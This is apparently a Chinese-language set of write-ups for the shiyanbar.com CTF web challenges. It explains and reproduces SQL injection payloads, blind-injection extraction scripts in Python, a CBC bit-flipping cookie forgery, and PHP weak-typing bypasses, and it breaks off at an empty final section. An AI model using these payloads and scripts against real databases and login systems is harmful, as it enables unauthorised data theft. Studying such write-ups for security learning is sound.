实验吧Web

实验吧Web题解

简单的登录题

网址:http://ctf5.shiyanbar.com/web/jiandan/index.php

burp抓包发现响应包头部tips:test.php

test.php给出了index.php的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");
error_reporting(0);
include('conn.php');
function sqliCheck($str){
if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
return 1;
}
return 0;
}
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
global $link;
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("base64_decode('".base64_encode($plain)."') can't unserialize");
$sql="select * from users limit ".$info['id'].",0";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
$rows=mysqli_fetch_array($result);
echo 'Hello!'.$rows['username'].'';
}
else{
echo 'Hello!';
}
}
else{
die("ERROR!");
}
}
}
if(isset($_POST['id'])){
$id = (string)$_POST['id'];
if(sqliCheck($id))
die("sql inject detected!");
$info = array('id'=>$id);
login($info);
echo 'Hello!';
}
else{
if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
show_homepage();
}
else{
echo '<body class="login-body" style="margin:0 auto">
<div id="wrapper" style="margin:0 auto;width:800px;">
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>input id to login</span>
</div>
<div class="content">
<input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<p><input type="submit" name="submit" value="Login" class="button" /></p>
</div>
</form>
</div>
</body>';
}
}

?>

审计代码,首先对我们post的参数id进行了sql语句关键词过滤,其中过滤了union,逗号,#,=,-,like,然后通过过滤后对数组plain进行cbc加密,加密后的值cipher和随机16位字符串iv存储在cookie对应的字段中,最终将cbc解密的id值执行sql语句

1
select * from users limit ".$info['id'].",0

可见,不管我们给id赋值1,2,3等,最终经过limit id,0后都得不到查询结果。我们要进行sql注入的话,就必须将后面的0注释掉,但是这里过滤掉了注释符#,–,所以用%00代替注释

给个payload:1;%00,通过burp先post id=1;%00,再将得到的cookie加入请求头的cookie字段,然后再访问,但是这里可能是php或者mysql修复了%00截断,因为直接输入1;%00依然无法实现截断

以下这段话参考别人的文章:

%00截断并不是字面意义上的截断,而是指%00经过urldecode之后会变成空字符\0,我们知道在c语言中\0是字符串的结尾,所以\0之后的字符就被截断了。所以,在本道题中不能直接输入1;%00,因为这样会被编码成1%3B%2500,需要用burpsuit抓包后修改为1%3B%00,然后再post才能成功截断。

试着post id=1%3B%00

成功得到用户名信息

那么我们继续执行注入,必须用到union,但是这里过滤了union,所以我们通过cbc字节翻转的方式,具体cbc字节翻转攻击原理就不具体说了,可以参考我之前的文章。此外,还过滤了逗号,那么我们可以用连接关键词join

下面直接给出payloads

注数据库名的payload:0 Anion select * from ((select 1)a join (select database())b join (select 3)c);%00

注表名的payload:0 Anion select * from ((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema=database())b join (select 3)c);%00

注列名的payload:0 Anion select * from ((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name=’you_want’)b join (select 3)c);%00

注数据的payload:0 Anion select * from ((select 1)a join (select group_concat(value) from you_want)b join (select 3)c);”%00

下面给出最后注出flag的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests,base64,urllib,re

url = "http://ctf5.shiyanbar.com/web/jiandan/index.php"

data = {
'id': "0 Anion select * from ((select 1)a join (select group_concat(value) from you_want)b join (select 3)c);"+chr(0)
}
r1 = requests.post(url,data=data)

cookies = requests.utils.dict_from_cookiejar(r1.cookies)
cipher = base64.b64decode(urllib.unquote(cookies['cipher']))
index = 7
new_cipher = cipher[:index] + chr(ord(cipher[index])^ord('A')^ord('u')) + cipher[index+1:]
new_cipher = urllib.quote_plus(base64.b64encode(new_cipher))
cookies['cipher'] = new_cipher

r2 = requests.get(url,cookies=cookies)
plain = base64.b64decode(re.findall("base64_decode\('(.*)'\)",r2.text)[0])
iv = base64.b64decode(urllib.unquote(cookies['iv']))
target = 'a:1:{s:2:"id";s:'
new_iv = ""
for i in range(16):
new_iv = new_iv + chr(ord(iv[i])^ord(plain[i])^ord(target[i]))
cookies['iv'] = urllib.quote_plus(base64.b64encode(new_iv))

r3 = requests.get(url,cookies=cookies)
r3.encoding = r3.apparent_encoding
print r3.text

说明一下在python中chr(0)代表空字符的意思,而我们要进行截断都是通过空字符来截断

后台登录

网址:http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php

源代码:

1
2
3
4
5
6
7
8
9
$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
}

对参数password进行了md5加密,看似不能进行sql注入,但是这里md5函数里出现参数true,查询一下md5参数加入了参数true,得到的是原始16位的二进制数

在本地测试了一下:

1
2
3
4
5
6
7
8
<?php

$str = 'hello';
echo md5($str,true);
echo '<br>';
echo md5($str);

?>

二进制数在浏览器上显示时会转化为字符串

所以我们进行注入的话,就必须要想办法让md5加密后是’or 6的形式

这里直接拿别人得到的字符串: ffifdyop

可以看到加密后的字符串为’or’6É]™é!r,ùíb

拼接到sql语句为

1
SELECT * FROM admin WHERE username = 'admin' and password = '".' or '6É]™é!r,ùíb."'

语句恒真,始终有查询结果,成功注出flag

加了料的报错注入

网址:http://ctf5.shiyanbar.com/web/baocuo/index.php

源代码提示了需要post参数username和password

还给出了sql语句

1
select * from users where username='$username' and password='$password'

使用万能密码登录admin用户,username=admin&password=’ or ‘1

登录成功,但没有给出flag,说明要进行题目说的报错注入才能得到flag

尝试在username参数进行报错注入,但发现过了括号,注释符#,–,%3B%00

但是行注释符没有被过滤,我们可以通过行注释符注释掉中间的’ and password=’进行注入

得出payload:

1
username=admin' /*&password=*/ or '

拼接后相当于执行sql语句

1
select * from users where username='admin' /*and password='*/ or ''

在本地数据库演示

那么使用在username中使用extract,在password中使用括号,再通过行注释符注释中间,最终拼接成完成的extractvalue注入,就是我们的目的

先注出数据库

payload:

1
username=admin' and extractvalue/*&password=*/(1,concat(0x3a,(select database()),0x3a)) or '

注表名

payload:

1
username=admin' and extractvalue/*&password=*/(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema regexp database()),0x3a)) or '

猜测flag可能在表ffll44jj中

注列名

payload:

1
username=admin' and extractvalue/*&password=*/(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj'),0x3a)) or '

注数据

payload:

1
username=admin' and extractvalue/*&password=*/(1,concat(0x3a,(select value from ffll44jj),0x3a)) or '

获得flag

认真一点

网址:http://ctf5.shiyanbar.com/web/earnest/index.php

输入id=1,页面返回You are in…,输入id等于其他值都返回You are not in,输入id=1’,返回You are not in,输入id=1”,返回You are in,猜测id可能被单引号包裹

那么我们可以根据返回信息的不同进行基于布尔的注入,但是经过测试,这题过滤了注释符,空格,逗号,substr,同时将or替换为空字符串,替换的解决方法是双写or绕过,过滤了空格可以用括号代替,substr用mid代替,过滤了逗号,可以用mid from for

给出脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import requests

url = "http://ctf5.shiyanbar.com/web/earnest/index.php"
all_string = '''qwertyuiopasdfghjklzxcvbnm `~1234567890!@#$%^&*()-_=+[{]};:'"\|<,>.?/QWERTYUIOPASDFGHJKLZXCVBNM'''
database = ""
table_name = ""
column_name = ""
flag = ""

#获取数据库名:ctf_sql_bool_blind
for i in range(1,100):
f = 0
for j in all_string:
print('checking '+j)
data = {
'id':"0'oorr(ascii(mid((database())from("+str(i)+")foorr(1)))="+str(ord(j))+")oorr'0"
}
r = requests.post(url,data=data)
if 'You are in ................' in r.text:
print("The "+str(i)+" place of database is: "+j)
database = database + j
f = 1
break
if f == 0 and j == 'M':
break
print("database: "+database)

#获取数据表名:fiag,users
for i in range(1,100):
f = 0
for j in all_string:
print('checking '+j)
data = {
'id':"0'oorr(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from("+str(i)+")foorr(1)))="+str(ord(j))+")oorr'0"
}
r = requests.post(url,data=data)
if 'You are in ................' in r.text:
print("The "+str(i)+" place of table_name is: "+j)
table_name = table_name + j
f = 1
break
if f == 0 and j == 'M':
break
print("table_name: "+table_name)
#获取fiag下列名:fL$4G
for i in range(1,100):
f = 0
for j in all_string:
print('checking '+j)
data = {
'id':"0'oorr(ascii(mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='fiag'))from("+str(i)+")foorr(1)))="+str(ord(j))+")oorr'0"
}
r = requests.post(url,data=data)
if 'You are in ................' in r.text:
print("The "+str(i)+" place of column_name is: "+j)
column_name = column_name + j
f = 1
break
if f == 0 and j == 'M':
break
print("column_name: "+column_name)
#获取数据:flag{haha~you win!}
for i in range(1,100):
f = 0
for j in all_string:
print('checking '+j)
data = {
'id':"0'oorr(ascii(mid((select(fL$4G)from(fiag))from("+str(i)+")foorr(1)))="+str(ord(j))+")oorr'0"
}
r = requests.post(url,data=data)
if 'You are in ................' in r.text:
print("The "+str(i)+" place of flag is: "+j)
flag = flag + j
f = 1
break
if f == 0 and j == 'M':
break
print("flag: "+flag)

你真的会PHP吗

网址:http://ctf5.shiyanbar.com/web/PHP/index.php

抓包发现响应包头部存在提示字段:hint: 6c525af4059b4fe7d8c33a.txt

访问得到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php


$info = "";
$req = [];
$flag="xxxxxxxxxx";

ini_set("display_error", false);
error_reporting(0);


if(!isset($_POST['number'])){
header("hint:6c525af4059b4fe7d8c33a.txt");

die("have a fun!!");
}

foreach([$_POST] as $global_var) {
foreach($global_var as $key => $value) {
$value = trim($value);
is_string($value) && $req[$key] = addslashes($value);
}
}


function is_palindrome_number($number) {
$number = strval($number);
$i = 0;
$j = strlen($number) - 1;
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}


if(is_numeric($_REQUEST['number'])){

$info="sorry, you cann't input a number!";

}elseif($req['number']!=strval(intval($req['number']))){

$info = "number must be equal to it's integer!! ";

}else{

$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));

if($value1!=$value2){
$info="no, this is not a palindrome number!";
}else{

if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}else{
$info=$flag;
}
}

}

echo $info;

审计,整理思路,列出主要代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php


if(is_numeric($_REQUEST['number'])){

$info="sorry, you cann't input a number!";

}elseif($req['number']!=strval(intval($req['number']))){

$info = "number must be equal to it's integer!! ";

}else{

$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));

if($value1!=$value2){
$info="no, this is not a palindrome number!";
}else{

if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}else{
$info=$flag;
}
}

}
?>

1.首先必须POST参数number,然后得到关键参数$_REQUEST[‘number’]和$req[‘number’],$req[‘number’]是通过数组POST遍历获得

2.$_REQUEST[‘number’]不能是一个数字字符串,且$req[‘number’]通过intval函数取整形值后再转换成字符串必须等于原本的$req[‘number’]

3.$req[‘number’]通过intval函数取整形值必须等于$req[‘number’]通过strrev函数取回文字符串后再通过intval函数取整形值

4.$req[‘number’]通过is_palindrome_number函数检测不能是一个回文数

首先考虑思路的第二步,不能是数字字符串,但是却取整形值后要等于原来的值,看似不可能,但是我们可以通过%00截断is_numeric函数

接下来考虑思路的第三步和第四步,前后检测是否为回文数明显矛盾,这里解决方法是利用intval函数的溢出

参考别人的题解里的一句话:intval最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。
举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。

64 位系统上,最大带符号的 integer 值是 9223372036854775807。

通过上面我们知道服务器的操作系统是32位的,所以我们构造2147483647就可以同时满足2,3条件

所以赋值number=2147483647%00即可获得flag

我们可以在本地环境测试一下,给出我本地测试的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php


$info = "";
$req = [];
$flag="flag{xxxxxxxxxx}";

ini_set("display_error", false);
error_reporting(0);

if(!isset($_GET['number'])){
header("hint:6c525af4059b4fe7d8c33a.txt");

die("have a fun!!");
}

foreach([$_GET] as $global_var) {
foreach($global_var as $key => $value) {
$value = trim($value);
is_string($value) && $req[$key] = addslashes($value);
}
}


function is_palindrome_number($number) {
$number = strval($number);
$i = 0;
$j = strlen($number) - 1;
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}

echo "\$_REQUEST['number'] = ".$_REQUEST['number'].'<br>';
echo "\$req['number'] = ".$req['number'].'<br>';
echo "is_numeric(\$_REQUEST['number']) = ".is_numeric($_REQUEST['number']).'<br>';
echo "intval(\$req['number']): ".intval($req['number']).'<br>';
echo "\$value1 = intval(\$req['number']) = ".intval($req['number']).'<br>';
echo "strrev(\$req['number']) = ".strrev($req['number']).'<br>';
echo "\$value2 = intval(strrev(\$req['number'])) = ".intval(strrev($req["number"])).'<br>';

if(is_numeric($_REQUEST['number'])){
$info="sorry, you cann't input a number!";

}elseif($req['number']!=strval(intval($req['number']))){
$info = "number must be equal to it's integer!! ";

}else{

$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));

if($value1!=$value2){
$info="no, this is not a palindrome number!";
}else{

if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}else{
$info=$flag;
}
}

}

echo $info;
?>

赋值number=2147483647%00

执行结果如下:

可以看到%00成功截断了函数is_numeric,而intval函数会忽略%00,所以strval的值等于原来的值,思路的第二步成功

再看$req[‘number’]通过strrev函数处理的结果是7463847412,但是再经过intval函数处理结果依旧是原来的2147483647,这就是intval函数溢出,因为2147483647已经是最大值了,大于这个最大值的数经过intval函数处理都是2147483647,而2147483647经过is_palindrome_number函数处理一定返回false,因为它本来就不是回文数

最终获得的flag

登陆一下好吗??

不要怀疑,我已经过滤了一切,还再逼你注入,哈哈哈哈哈!

flag格式:ctf{xxxx}

解题链接:http://ctf5.shiyanbar.com/web/wonderkun/web/index.html

考察SQL注入,猜测后台SQL如下:

1
select * from user where username='$username' and password='$password'

尝试使用: ‘=’ ,SQL语句就变成:

1
select * from user where username=''='' and password=''=''

按照逻辑,从左往右: username=’’ 然后 ‘’=’’ 为真,password 也一样,类似下面:

所以我们账号和密码都填 ‘=’ ,即可获得flag。

who are you?

我要把攻击我的人都记录db中去!

解题链接:http://ctf5.shiyanbar.com/web/wonderkun/index.php

发现题目会记录用户的IP地址,并记录到数据库中,那么我们就想到使用 HTTP 数据包头部的 X-Forwarded-For 字段伪造IP,进行 SQL 注入。尝试使用 payload1’ and sleep(3) and ‘1 ,发现成功执行。

接下来,我们使用 payload1’ and if(substr((select flag from flag),1,1),sleep(3),0) and ‘1 ,发现逗号被过滤了:

那么我们可以换成下面这种结构: 1’ and (select case when substr((select flag from flag) from 1 for 1)=’c’ then sleep(3) else 0 end) and ‘1

接下来编写脚本跑一下就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
flag = ''
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
chars = "0123456789abcdefghijklmnopqrstuvwxyz"
for i in range(1,50):
for ch in chars:
headers = {
"X-Forwarded-For" : "1' and (select case when substr((select flag from flag) from %s for 1)='%s' then sleep(5) else 0 end) and '1" % (i,ch)
}
try:
r = requests.get(url=url,headers=headers,timeout=5)
except:
flag += ch
print(flag)
if(ch == "}"):
exit()
break

这题flag为:ctf{cdbf14c9551d5be5612f7bb5d2867853} 因为网络非常不稳定,直接给出flag。

简单的sql注入

网址:http://ctf5.shiyanbar.com/423/web/

注入点为id,数字型注入,过滤了注释符#,–+,id被单引号包裹

此外还过滤了

1
union ,select ,order ,by ,table_schema,column_name,information_schema.columns

用行注释符代替空格,就不用去考虑过滤的问题,再想办法构造where ‘1,或者select 1 ‘ 闭合最后的单引号

爆数据库payload:

1
?id=0%27/**/union/**/select/**/database()/**/%27

爆表payload:

1
?id=0%27/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/ttable_schemaable_schema=%27web1

爆列payload:

1
?id=0%27/**/union/**/select/**/ccolumn_nameolumn_name/**/from/**/infinformation_schema.columnsormation_schema.columns/**/where/**/table_name=%27flag

爆数据payload:

1
?id=0%27/**/union/**/select/**/flag/**/from/**/flag/**/where/**/%271

简单的sql注入之2

网址:http://ctf5.shiyanbar.com/web/index_2.php

同样注入点是id,数字型注入,过滤了空格,用行注释符代替即可

爆库payload:

1
?id=0%27/**/union/**/select/**/database()/**/%23

爆表payload:

1
?id=0%27/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=%27web1

爆列payload:

1
?id=0%27/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=%27flag

爆数据payload:

1
?id=0%27/**/union/**/select/**/flag/**/from/**/flag/**/%23

简单的sql注入之3

网址:http://ctf5.shiyanbar.com/web/index_3.php

有查询结果返回hello,无结果则不返回,有报错信息,但是过滤了extractvalue和updatexml,所以选择用基于布尔的盲注

python脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests

all_string = '''qwertyuiopasdfghjklzxcvbnm{}QWERTYUIOPASDFGHJKLZXCVBNM@_1234567890 '''
database = ""
#数据库名:web1
'''
for i in range(1,100):
for j in all_string:
f = 0
print('checking '+j)
url = "http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr((select database()),%s,1))=%s--+"%(str(i),ord(j))
r = requests.get(url)
if "Hello!" in r.text:
print('The '+str(i)+' place of database is: '+j)
database = database + j
f = 1
break
if f == 0 and j == '?':
break
print('database: '+database)
'''
#flag:
flag = ""
for i in range(1,100):
for j in all_string:
f = 0
print('checking '+j)
url = "http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr((select flag from flag),%s,1))=%s--+"%(str(i),ord(j))
r = requests.get(url)
if "Hello!" in r.text:
print('The '+str(i)+' place of flag is: '+j)
flag = flag + j
f = 1
break
if f == 0 and j == ' ':
break

因缺思汀的绕过

网址:http://ctf5.shiyanbar.com/web/pcat/index.php

源代码给出了提示:source.txt

访问得到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "姘村彲杞借垷锛屼害鍙禌鑹囷紒";
exit();
}
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "浜﹀彲璧涜墖锛�";
}
}else{
print "涓€棰楄禌鑹囷紒";
}
mysql_close($con);
?>

审计代码,得到flag的思路:

1.需要POST两个参数uname和pwd

2.经过sql查询后返回的结果行数必须为1

3.查询结果的pwd字段必须等于我们POST的参数pwd值

这里过滤了关键字and,select,from,where,union,join,sleep,benchmark,(,),逗号

我们必须控制查询结果的pwd字段,而这里union被过滤了,基于布尔的盲注也不行

解决方法是用with rollup,它的作用是在查询结果的最后一行添加null,但是必须配合group by来使用

在本地数据库测试:

所以我们可以通过group by pwd with rollup来返回一行查询结果,其中pwd列下的数据为NULL,然后POST的参数pwd赋值为空,就可以控制两个参数相等

那么我们接下来就是控制查询行数为1

通过limit 1来控制查询行数为1,但是还要返回NULL的那行,这里逗号被过滤了,可以使用 limit 1 offset 0

,效果跟limit 0,1是一样的

所以最终的payload:

1
uname=' or 1 group by pwd with rollup limit 1 offset 2#&pwd=

天下武功唯快不破

网址:http://ctf5.shiyanbar.com/web/10/10.php

burp抓包发现响应头部存在FLAG字段

FLAG字段经过BASE64加密

解密后post参数key等于解密后的值

没有得到flag,发现头部FLAG字段值又发生了变化,想起题目可能要快速提交flag,可能要写脚本提交key

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import base64

url = "http://ctf5.shiyanbar.com/web/10/10.php"

s = requests.Session()
r = s.get(url)
FLAG = base64.b64decode(r.headers['FLAG'])
FLAG = bytes.decode(FLAG)
FLAG = FLAG.split(':')[1]
data = {
'key':FLAG
}
r = requests.post(url,data=data)
print(r.text)

运行结果:CTF{Y0U_4R3_1NCR3D1BL3_F4ST!}

拐弯抹角

网址:http://ctf5.shiyanbar.com/indirection/index.php

给出了源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php 
// code by SEC@USTC

echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>';

$URL = $_SERVER['REQUEST_URI'];
//echo 'URL: '.$URL.'<br/>';
$flag = "CTF{???}";

$code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php'));
$stop = 0;

//这道题目本身也有教学的目的
//第一,我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的
//所以,第一个要求就是不得出现 ./
if($flag && strpos($URL, './') !== FALSE){
$flag = "";
$stop = 1; //Pass
}

//第二,我们可以构造 \ 来代替被过滤的 /
//所以,第二个要求就是不得出现 ../
if($flag && strpos($URL, '\\') !== FALSE){
$flag = "";
$stop = 2; //Pass
}

//第三,有的系统大小写通用,例如 indirectioN/
//你也可以用?和#等等的字符绕过,这需要统一解决
//所以,第三个要求对可以用的字符做了限制,a-z / 和 .
$matches = array();
preg_match('/^([0-9a-z\/.]+)$/', $URL, $matches);
if($flag && empty($matches) || $matches[1] != $URL){
$flag = "";
$stop = 3; //Pass
}

//第四,多个 / 也是可以的
//所以,第四个要求是不得出现 //
if($flag && strpos($URL, '//') !== FALSE){
$flag = "";
$stop = 4; //Pass
}

//第五,显然加上index.php或者减去index.php都是可以的
//所以我们下一个要求就是必须包含/index.php,并且以此结尾
if($flag && substr($URL, -10) !== '/index.php'){
$flag = "";
$stop = 5; //Pass
}

//第六,我们知道在index.php后面加.也是可以的
//所以我们禁止p后面出现.这个符号
if($flag && strpos($URL, 'p.') !== FALSE){
$flag = "";
$stop = 6; //Pass
}

//第七,现在是最关键的时刻
//你的$URL必须与/indirection/index.php有所不同
if($flag && $URL == '/indirection/index.php'){
$flag = "";
$stop = 7; //Pass
}
if(!$stop) $stop = 8;

echo 'Flag: '.$flag;
echo '<hr />';
for($i = 1; $i < $stop; $i++)
$code = str_replace('//Pass '.$i, '//Pass', $code);
for(; $i < 8; $i++)
$code = str_replace('//Pass '.$i, '//Not Pass', $code);


echo highlight_string($code, TRUE);

echo '</body></html>';

绕过思路源代码都给出了提示,考察的是url伪静态,比如url中含有xxxx.php/xx/x,那么.php后的xx就会被当成参数名,x会被当成参数

所以可以构造payload:http://ctf5.shiyanbar.com/indirection/index.php/a/index.php

Forms

网址:http://ctf5.shiyanbar.com/10/main.php

burp抓包试着修改showsouce参数=1

提示了源代码

1
2
3
4
5
6
$a = $_POST["PIN"];
if ($a == -19827747736161128312837161661727773716166727272616149001823847) {
echo "Congratulations! The flag is $flag";
} else {
echo "User with provided PIN not found.";
}

POST参数PIN等于-19827747736161128312837161661727773716166727272616149001823847

拿到flag

天网管理系统

网址:http://ctf5.shiyanbar.com/10/web1/index.php

首先源代码给出了提示

1
<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->

这里应该是POST参数username,然后加密后的值 == ‘0’

这里涉及PHP的弱类型比较,== 比较时,PHP会将数字字符串的数字值取出进行比较,例如’0’ == ‘0abc’

所以我们只需要找到一个md5加密后的值0开头的字符串即可,典型的为240610708 和 QNKCDZO

POST参数username=240610708得到/user.php?fame=hjkleffifer

访问后又得到一串代码:

1
2
3
4
5
6
7
8
$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
{
print_r($flag);
}
伟大的科学家php方言道:成也布尔,败也布尔。
回去吧骚年

审计后发现需要POST一个序列化后的值,使得反序列化后的数组user键的值和pass键的值 == 未知字符串,题目还给出了提示“成也布尔,败也布尔”,这里又需要利用PHP弱类型比较,当布尔类型的true与任何字符串弱类型相等

本地测试得到序列化后的值

1
2
3
4
5
6
7
<?php

$data_unserialize = array('user' => True,'pass' => True);
$unserialize_str = serialize($data_unserialize);
echo $unserialize_str;

?>

执行结果

a:2:{s:4:”user”;b:1;s:4:”pass”;b:1;}

POST后得到flag

忘记密码了

网址:http://ctf5.shiyanbar.com/10/upload/step1.php

一个找回密码的页面,试着源代码看不出提示信息,试着注册一个email

弹框提示了./step2.php?email=youmail@mail.com&check=???????

访问step2.php的源代码,发现

1
2
<meta name="admin" content="admin@simplexue.com" />
<meta name="editor" content="Vim" /
1
2
3
4
5
6
7
8
9
10
<form action="submit.php" method="GET">
<h1>找回密码step2</h1>
email:<input name="emailAddress" type="text" <br />
<b>Notice</b>: Use of undefined constant email - assumed 'email' in <b>C:\h43a1W3\phpstudy\WWW\10\upload\step2.php</b> on line <b>49</b><br />
<br />
<b>Notice</b>: Undefined index: email in <b>C:\h43a1W3\phpstudy\WWW\10\upload\step2.php</b> on line <b>49</b><br />
value="" disable="true"/></br>
token:<input name="token" type="text" /></br>
<input type="submit" value="提交">
</form>

发现这个页面会GET两个参数emailAddress和token到submit.php

访问submit.php,提示you are not an admin

在step2.php中我们还发现了该页面可能是通过vim编写的,所以可能存在.submit.php.swp

访问后得到提示代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

........这一行是省略的代码........

/*
如果登录邮箱地址不是管理员则 die()
数据库结构

--
-- 表的结构 `user`
--

CREATE TABLE IF NOT EXISTS `user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NOT NULL,
`email` varchar(255) NOT NULL,
`token` int(255) NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- 转存表中的数据 `user`
--

INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可见***', '***不可见***', 0);
*/


........这一行是省略的代码........

if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "失败了呀";
}
}

审计后的思路

1.需要GET参数token和emailAddress

2.token值长度为10且必须弱类型等于0

3.sql语句有查询结果

首先弱类型相等,且长度为10,那么token可以赋值’0000000000’

然后emailAddress猜测是在step2.php中的admin@simplexue.com

得出payload:emailAddress=admin@simplexue.com&token=0000000000

得到flag

Once More

网址:http://ctf5.shiyanbar.com/web/more.php

源代码:

1
2
3
4
5
6
7
8
